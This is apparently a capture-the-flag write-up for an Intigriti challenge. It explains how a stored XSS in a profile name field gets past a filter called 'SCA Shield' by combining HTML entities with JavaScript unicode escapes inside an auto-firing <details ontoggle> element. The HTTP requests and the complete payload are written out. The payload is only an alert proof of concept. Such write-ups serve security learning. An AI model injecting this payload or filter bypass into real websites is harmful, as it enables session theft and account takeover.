Sitemap

Intigriti May 2026 Challenge — XSS via Stored Payload + SCA Shield Bypass

3 min readMay 26, 2026

--

Author: kulindukody
Challenge: challenge-0526.intigriti.io
Category: XSS / Filter Bypass
Severity: medium
Type: Stored XSS

Overview

The challenge application is a Single Page Application (SPA) built on Express.js. During recon I identified a stored XSS vulnerability in the name field of the /api/profile endpoint. The server implements a WAF-like filter called "SCA Shield" that blocks common XSS characters — but the filter can be completely bypassed using HTML entity encoding combined with JavaScript unicode escapes, leading to stored XSS executing in the context of challenge-0526.intigriti.io.

Reconnaissance

Step 1 — Finding the Profile Update Endpoint

http

POST /api/profile HTTP/1.1
Host: challenge-0526.intigriti.io
Cookie: session=507
Content-Type: application/json
{"name": "<img src=x onerror=alert(1)>"}

Response:

http

HTTP/1.1 403 Forbidden
{
"error": "SCA Shield: Malicious characters detected! Quotes, parenthesis, dots, commas, and semicolons are strictly forbidden."
}

The filter revealed itself — and more importantly, told me exactly what it blocks:

" ' ( ) . , ;

This is a critical mistake in filter design. Never tell an attacker what you’re filtering.

Discovering the Sink

The application JS (served as a static file) revealed the vulnerable rendering code:

javascript

async function checkAuth() {
try {
let res = await fetch('/api/me');
if (res.ok) {
let data = await res.json();
currentUser = data;
return true;
}
} catch (e) {}
currentUser = null;
return false;
}
// Render Navigation
function renderNav() {
if (currentUser) {
navAuth.innerHTML = `
<a href="#profile" class="btn">Profile [${currentUser.username}]</a>
<button onclick="logout()" class="btn">Logout</button>
`;

And separately, the note/testimonial page rendered currentUser.name via innerHTML.

The sink is innerHTML — this is the critical mistake. When user-controlled data is assigned to innerHTML, the browser:

  1. Parses the string as HTML
  2. Decodes HTML entities (&#40()
  3. Executes event handlers as JavaScript

This means any sanitization that encodes characters as HTML entities is completely defeated by the rendering layer itself.

The SCA Shield Filter

The filter blocks these literal characters in the POST body:

Blocked Purpose ( ) Prevent function calls . Prevent property access , Prevent argument separation ; Prevent statement chaining " ' Prevent string literals

This sounds comprehensive — but it only operates on the raw input string. It has no awareness of encoding.

Bypass Technique

HTML Entity Encoding

HTML entities are an alternative representation of characters that the browser decodes during HTML parsing:

Entity Character &#40 ( &#41 ) &#46 .

Since the filter checks raw input and innerHTML decodes entities on render — we can sneak blocked characters through as entities.

JavaScript Unicode Escapes

JS unicode escapes (\uXXXX) are valid inside JavaScript strings and event handler attributes:

Escape Character \u0061 a \u0064 d

These aren’t needed to bypass the filter (letters aren’t blocked) but they were part of the payload that was already stored. They work fine.

Why <details ontoggle> Is Perfect

The <details> HTML element fires an ontoggle event when it opens or closes. With the open attribute set, it triggers automatically on render — zero user interaction required.

html

<details open ontoggle=PAYLOAD>X</details>

When inserted via innerHTML, the browser:

  1. Parses the HTML
  2. Sees <details open> — element is open
  3. Fires ontoggle immediately
  4. Executes the JS payload

Full Exploitation Chain

Step 1 — Craft the payload

<details open ontoggle=\u0061lert&#40\u0064ocument&#46\u0064omain&#41>X</details>

After HTML entity decoding by innerHTML:

<details open ontoggle=\u0061lert(\u0064ocument.\u0064omain)>X</details>

After JS unicode evaluation in ontoggle:

javascript

alert(document.domain)

Step 2 — Send the profile update request

http

POST /api/profile HTTP/1.1
Host: challenge-0526.intigriti.io
Cookie: session=YOUR_SESSION
Content-Type: application/json
{"name":"<details open ontoggle=\u0061lert&#40\u0064ocument&#46\u0064omain&#41>X</details>"}

Response: 200 OK — payload stored.

Payload Breakdown

<details open ontoggle=\u0061lert&#40\u0064ocument&#46\u0064omain&#41>X</details>

Part Raw Decoded Role \u0061 JS unicode a Letter a in alert \u0064 JS unicode d Letter d in document/domain &#40 HTML entity ( Open paren — bypasses SCA Shield &#41 HTML entity ) Close paren — bypasses SCA Shield &#46 HTML entity . Dot — bypasses SCA Shield <details open> HTML auto-open Triggers ontoggle on render

Final decoded execution: alert(document.domain)zero interaction.

--

--